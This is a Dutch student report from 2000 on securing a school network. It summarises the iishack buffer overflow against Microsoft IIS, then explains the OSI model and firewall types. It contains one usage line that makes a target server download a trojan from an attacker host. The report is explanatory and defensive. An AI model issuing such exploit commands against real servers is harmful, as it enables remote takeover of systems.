7.2.8 ``iishack.exe''.

Een meer recente aanval betreft een "Buffer Overflow" genaamd iishack. Hij werd gesignaleerd door eEye team(http://www.eEye.com) en was van toepassing op alle IIS servers van dat moment(april 2000).

We hebben "Buffer Overflow" reeds uitvoerig besproken in het voorgaande deel. Voor zij die graag de volledige broncode willen lezen, is hij beschikbaar op de cd-rom. Voor de rest hier een korte samenvatting.

Het iishack programma geeft op een bepaald moment meer informatie aan de webserver door dan deze verwacht. Aangezien de server niet controleert op de hoeveelheid informatie die er wordt doorgegeven, wordt alles tijdelijk in het geheugen geladen. De kunst bestaat erin er voor te zorgen dat uw programma, dat in die extra gegevens verwerkt zit, wordt uitgevoerd door de server.

Het programma dat door de mensen van eEye werd meegegeven, zorgde ervoor dat er op een bepaalde plaats een serieus afgeslankte telnet server werd gedownload en geactiveerd op poort 80. Vervolgens diende men gewoon te telnetten naar de aangevallen webserver op poort 80 om volledige controle te krijgen over de server. Voorbeeld:

iishack www.web.com 80 www.myserver.com/thetrojan.

7.3 Besluit.

We hebben ons hier beperkt tot Microsoft IIS, omdat dit van toepassing is op het schoolnetwerk. Dit wil niet zeggen dat andere software niet ontvankelijk is voor aanvallen. Elk programma brengt zo zijn fouten mee. Zoals ook hier blijkt, zijn de aanvallers meestal super creatief. We zijn er dan ook van overtuigd dat de onbekende aanvallers nog veel krachtigere middelen achter de hand hebben dan algemeen gekend zijn. Het voorbeeld van eEye geeft een teken in die richting. Zij zijn een jong security team dat zijn naam wil maken in de wereld van computerbeveiliging.

Algemeen besluit.

Ondertussen zijn we er van overtuigd dat aanvallers, niet zomaar leeghangers zijn die zich vervelen. Meestal zijn het verstandige mensen, hun naam "hacker" in de oude betekenis van het woord waardig.

Hoe bekom je een goed ``hacker''? Een goede algemene kennis van netwerken is onontbeerlijk. Daarbij een programmeertaal volledig onder de knie hebben, om uw eigen programma's te schrijven of die van anderen beter af te stellen. En dan elke keer opnieuw bijstuderen op de applicatie die het doel gebruikt. Als het aan te vallen netwerk webserver X software gebruikt, moet je als het ware product X beter kennen dan de ontwikkelaars.

Hoe wordt je een goed netwerkbeheerder? Tien keer slimmer zijn dan de aanvaller. Hij specialiseert zich op een onderdeel van uw netwerk, jij moet alle componenten kennen. Onmogelijk? Ja.

Waarschijnlijk zal de netwerk omgeving evolueren zoals de maatschappij. Wanneer een belangrijk persoon beveiligd dient te worden, zijn camera's ook maar een hulpmiddel en zijn mensen de coördinatoren. Net zo zullen firewalls en security scanners hulpmiddelen zijn voor een team van continue aanwezige "network guards". Op naar het laatste deel, de hulpmiddelen voor het schoolnetwerk.

3 Voorstel

Algemene inleiding.

In dit laatste deel gaan we eerst en vooral eens kijken naar de belangrijkste bouwsteen van een veilig netwerk, de firewall. Om de verschillende vormen van firewalls te begrijpen, werpen we ook even een vluchtige blik op het OSI-referentie model.

Vervolgens gaan we kijken naar de componenten die er momenteel in het schoolnetwerk aanwezig zijn en de problemen die deze met zich meebrengen. Waarbij we bij de problemen ook rekening houden met de gebruikers van het netwerk.

Tot slot komen we dan bij een voorstel tot verbetering van het netwerk. Dit voorstel gaat specifiek in op de noodzaak van de firewall, maar houdt alle deuren open naar de toekomst.

8. Wat is een firewall?

8.1 Inleiding.

Een firewall is een systeem of een groep van systemen waarmee op een centraal punt een verdedigingslinie gevormd wordt tegen aanvallen vanuit de buitenwereld. Alle verkeer tussen de buitenwereld en het bedrijfsnetwerk verloopt via de firewall en wordt, onder controle van de firewall, doorgelaten of tegengehouden. Wanneer geen gebruik gemaakt wordt van een firewall moet elke machine in het netwerk afzonderlijk tegen aanvallen beschermd worden, iets wat zeker in grotere netwerken ondoenlijk is en bovendien de functionaliteit van het netwerk schaadt.

De eisen die gesteld worden aan een firewall volgen uit de security-policy van een organisatie. Deze legt vast wat de gewenste functionaliteit is en welke bescherming de firewall moet bieden. De security-policy ziet er in principe voor elk bedrijf anders uit, omdat elk bedrijf haar eigen specifieke wensen en toepassingen heeft. Er kan bijvoorbeeld sprake zijn van telewerkers die van buiten op een veilige manier in het bedrijfsnetwerk moeten kunnen inloggen, van Websurfers die op een beperkte manier gebruik mogen maken van Internet, van een bedrijf dat alleen email en netwerk-nieuws uitwisselt met het Internet, of van een organisatie die van alle denkbare nieuwe Internet-toepassingen (telefonie, videoconferencing) gebruik wil maken - maar wel op een veilige manier.

Uit het bovenstaande blijkt dat elke situatie verschillend is: elk bedrijfsnetwerk heeft zijn eigen karakteristieken voor wat betreft de gewenste toepassingen en de security-eisen. Een firewall is dan ook per definitie een op maat samengestelde set van componenten die tezamen de security-policy van een bedrijf implementeren. Een standaard firewall die voor iedereen werkt bestaat dus niet.

8.2 Wat doet een firewall?

Er zijn verschillende soorten firewalls. Om deze verschillende soorten te kunnen situeren en hun werking te kunnen verklaren, zullen we eerst even een vluchtige blik werpen op het OSI referentie model.

8.2.1 Het OSI referentie model.

Het Reference Model for Open System Interconnection, ofwel OSI referentiemodel, werd door de ISO voorgesteld om interconnectie tussen verschillende systemen mogelijk te maken. Dit model was noodzakelijk opdat netwerken en hardware van verschillende makelij op een deftige manier met elkaar zouden kunnen communiceren.

Het model gaat uit van 7 lagen:

 

Laag 7

Applicatie laag

Laag 6

Presentatie laag

Laag 5

Sessie laag

Laag 4

Transport laag

Laag 3

Netwerk laag

Laag 2

Data link laag

Laag 1

Fysische laag

 

Een communicatie tussen 2 stations doorloopt deze 7 lagen op de betreffende computers. Waarbij tussen beide computers de lagen met elkaar communiceren door gebruik te maken van de andere lagen.

Om het duidelijker te maken gaan we ineens over naar een voorbeeld.

Stel Host A wenst vanuit een applicatie gegevens door te sturen naar dezelfde applicatie op Host B.

A wenst met behulp van FTP bestanden door te sturen naar B.

 

Om de gegevens tot bij B te krijgen, gaat de applicatie van A de gegevens, die het wenst door te zenden naar de applicatie op B, inpakken. Het gaat de data voorzien van een hoofding, noodzakelijk om de applicatie op B duidelijk te maken welke informatie er in het data gedeelte verpakt zit. Dit inpakken noemt men het "peer-to-peer protocol". Vervolgens gaat de applicatie laag op host A de ingepakte gegevens doorspelen aan de onderliggende laag, de presentatie laag.

In dit geval de FTP client die draait op A en die tracht te communiceren met de FTP server op B.

 

Deze laag voegt op haar beurt ook weer "peer-to-peer protocol" informatie toe, meestal informatie met betrekking tot dataconversie, voor de presentatie laag op host B. En geeft het geheel door aan de sessie laag.

Voor FTP spreekt men bij de sessie laag over de poorten 20 en 21.

 

De sessie laag zorgt voor het opbouwen, onderhouden en afbreken van conversaties tussen toepassingen, en voegt dan ook de daarvoor noodzakelijke informatie toe aan het pakket alvorens het door te geven aan de transport laag. De transport laag staat in voor een foutvrije communicatie.

FTP maakt gebuik van het Tranfer Control Protocol op laag 4 wat gelijk is aan de transport laag.

 

Het pakket dat de transport laag krijgt van de sessie laag, verrijkt met de controle informatie noodzakelijk voor de foutvrije transmissie, zal worden doorgeven aan de netwerk laag.

Voor communicatie over Internet zal er steeds gebruik gemaakt worden van het Internet Protocol.

 

De netwerk laag op haar beurt gaat er voor zorgen dat verschillende vormen van netwerken met elkaar gekoppeld kunnen worden en heeft dan ook de daarvoor noodzakelijk informatie toegevoegd alvorens het pakket door te geven aan de data link laag.

De manier waarop een lokaal netwerk communiceert kan bijvoorbeeld ethernet zijn.

 

De data link laag is de laatste laag die informatie toevoegt. Maar doet dat dan ook als enige laag vooraan en achteraan. Achteraan zullen meestal foutcontrole gegevens toegevoegd worden. Vooraan gegevens om de verbinding te onderhouden of te verbreken en ook gegevens om toegang te krijgen tot het netwerk. De fysische laag ontvangt tot slot de gegevens van de data link laag en gaat deze omzetten naar optische of electrische gegevens die de andere hosts in het lokale netwerk kunnen verstaan. De eigenschappen van het transmissie medium worden dus weergegeven in de fysische laag.

Men spreekt hier over coax, fddi,atm,...

 

Wanneer de fysische laag op host A het pakket op de kabel heeft gezet kan de fysische laag van host B het ontvangen, het in de verschillende lagen ontdoen van de peer-to-peer protocol informatie en zo doorgeven aan de applicatie.

8.2.2 ``Packet filtering''.

De meest eenvoudige vorm van firewall is een packet filter. Het is een manier van beveiligen die zich op de 3e laag van het OSI referentie model situeert. De goedkoopste manier om deze vorm van firewall te implementeren is rechtstreeks in de router. Men spreekt daarom soms ook van screening routers. De controle op de inkomende en uitgaande pakketten baseert zich op het IP adres en/of de toepassingspoort van het IP pakket dat op de choke toekomt.

De controle wordt gerealiseerd door zogenaamde ``acces lists''. Dit zijn lijsten met daarin de IP adressen van doel- en broncomputers die toegelaten, zijn met daarbij al dan niet specificaties over poorten die mogen aangesproken worden. Indien de gegevens van het pakket dat toekomt op de choke niet expliciet op de acces list voorkomt, wordt het verboden.

De voordelen van deze werking:

De belangrijkste nadelen:

8.2.3 De ``proxy server gateways''.

Een proxy server, ook wel gate genaamd, is een server die tussen het interne en het externe netwerk staat. Alle communicatie van het interne netwerk naar buiten en omgekeerd wordt opgevangen door deze server. Wanneer een interne client een service aanvraagt aan een externe server zal de gate deze communicatie onderscheppen en het bronadres van de interne client veranderen door het IP-adres aan de externe zijde van de gate. Zodoende blijven de interne IP-adressen afgeschermd voor de buitenwereld en is het niet mogelijk direct verbinding te maken met een interne host. De externe server zal zijn antwoord voor de interne client adresseren aan de gate, die het op zijn beurt doorstuurt naar de client. De verbinding van een externe client naar een interne server verloopt op een analoge manier. Om er voor te zorgen dat alle outbound verkeer langs de gate passeert wordt er intern meestal gebruik gemaakt van een choke. Zo kan men ook eerst aan pakket filtering doen. Analoog zal men aan de buitenzijde van de gate een choke plaatsen.

Er zijn twee types van proxies:

8.2.3.1 ``Circuit level proxy''.

Het eerste type heeft alle eigenschappen die hierboven reeds werden besproken, men spreekt over een circuit level proxy. Deze proxy situeert zich ter hoogte van de sessie laag, hierdoor is hij zich niet bewust van de hogerliggende applicaties.

Voordelen:

Nadelen:

8.2.3.2 ``Application level proxy''.

Bij het tweede type spreekt men over de application level proxy. Deze proxy doet net hetzelfde als de circuit level proxy, maar daar bovenop kan een application level proxy ook uitgebreide pakketinspectie verrichten. Deze zal niet alleen het IP-adres analyseren en verbergen voor de buitenwereld, maar gaat ook intern in de pakketjes kijken of er geen informatie inzit die niet bij die applicatie hoort. Dit heeft tot gevolg dat er voor ieder applicatie een andere gate nodig is en dat de clientsoftware aangepast dient te worden om met de proxy te kunnen werken. Een typische application level proxy voorziet services voor toepassingen en protocollen zoals daar zijn telnet, FTP, HTTP en SMTP(= elektronische mail). Voor elke applicatie dient er wel een andere proxy te worden voorzien. In de opsomming hierboven hebben we dus 4 proxies nodig.

Voordelen:

Nadelen:

8.2.4 ``Statefull Inspection Technology''.

Een technologie, gepatenteerd door Check Point, die op dit moment het hoogste niveau van netwerkbeveiliging bereikt en tevens een veel betere performantie haalt dan proxies. Proxies verliezen veel van hun performantie omdat ze enorm veel informatie dienen te verwerken in zeer veel verschillende pakketten. De Stateful Inspection Technology kan een antwoord bieden op het probleem met de verschillende proxies en het performantie verlies. In plaats van de inhoud van elk pakket te onderzoeken, worden de bit patronen van de pakketten vergeleken met pakketten die reeds bekend zijn en vertrouwd.

Eerst en vooral zorgt een krachtige inspectie module ervoor dat geen enkele ongewenste traffiek het netwerk binnenkomt. Vergelijkbaar met de circuit level proxy gaat de inspectie module kijken naar de gegeven security policy, verschil hier is dat ook connectieloze protocollen, zoals daar zijn UDP en RPC, kunnen gecontroleerd worden.

Vervolgens gaat de staat van de transactie gecontroleerd worden. Laten we eens kijken naar een voorbeeld.

Veronderstel dat een interne client een aanvraag doet aan een externe server. Als dit de eerste keer is dat deze service wordt gebruikt, zal de 'statefull inspection module" gegevens zoals poort nummer, bron- en doeladres opslaan. Dit is wat men noemt ``saving the state''. Deze informatie wordt opgeslagen in dynamische toestandstabellen. Elk pakket wordt onderschept ter hoogte van de netwerk laag en doorgegeven aan de "inspect engine". Deze "inspect engine" zal informatie betreffende de toestand uit de verschillende lagen halen en deze opslaan in de dynamisch toestandstabellen. De informatie in deze tabellen zal gebruikt worden om volgende pakketten te evalueren. Wanneer nu een antwoord komt van de externe server, zal de firewall de ontvangen pakketten vergelijken met de toestand die eerder werd opgeslagen en op basis daarvan bepalen of de pakketten zijn toegelaten. Doordat het vergelijken gebeurt op basis van bit patronen, kan deze controle veel sneller verlopen dan bij proxies.

Voordelen:

Nadeel:

Dit nadeel wordt opgevangen door gebruik te maken van de NAT module. NAT staat voor Network Adres Translation, een systeem dat vergelijkbaar is met proxies, zodat de interne adressen verborgen blijven.

Buiten zijn krachtige statefull inspection module zijn er nog enkele andere eigenschappen die de Check Point Firewall-1 momenteel tot de beste maakt. Om de implementatie van de security policy op een overzichtelijke manier mogelijk te maken, hebben ze een krachtige maar gebruikersvriendelijke grafische interface ontwikkeld. En om de statefull inspectie maximaal te benutten hebben ze een open platform ontwikkeld genaamd OPSEC. Dit platform geeft externe bedrijven de mogelijkheid om hun software specifiek af te stellen op de firewall. Zo bestaan er virusscanners die perfect zelfstandig kunnen functioneren, maar die dankzij dit open platform, ook perfect kunnen samenwerken met de firewall.

Straks bij het voorstel voor de school zullen we nog enkele voorbeelden bekijken. Maar het moet nu al duidelijk zijn dat wanneer een software pakket perfect samenwerkt met een ander via een open platform, dit veel beter is voor de performantie dan wanneer de communicatie langs de traditionele client-server infrastructuur verloopt.

 

Bibliografie:

Internet:

Voor de aanvallen:

Voor het voorstel:

Documenten:

Wide Area Unix Networking / AT computing / 1996

Local Area Unix Networking / AT computing / 1996

Network Security / Concepts and Facilities / Alcatel / maart 1999

Techniques Adopted By 'System Crackers'/ FIST / december1998 http://www.ns2.co.uk

NT4 Intrusion and security / Mnemonic / http://www.weownyourlives.forever

Improving the Security of Your Site by Breaking Into it / Wietse Venema & Dan Farmer

Eric Van Lint, Karel De Groote & Jean Paul Begon, private conversatie.

Over dit dokument ...

Netwerkbeveiligingsoplossing voor het KAHO-netwerk

This document was generated using the LaTeX2HTML translator Version 99.2beta6 (1.42)

Copyright © 1993, 1994, 1995, 1996, Nikos Drakos, Computer Based Learning Unit, University of Leeds.
Copyright © 1997, 1998, 1999, Ross Moore, Mathematics Department, Macquarie University, Sydney.

The translation was initiated by Gandalf De Grijze Debian Linux User on 2000-05-18


Gandalf De Grijze Debian Linux User 2000-05-18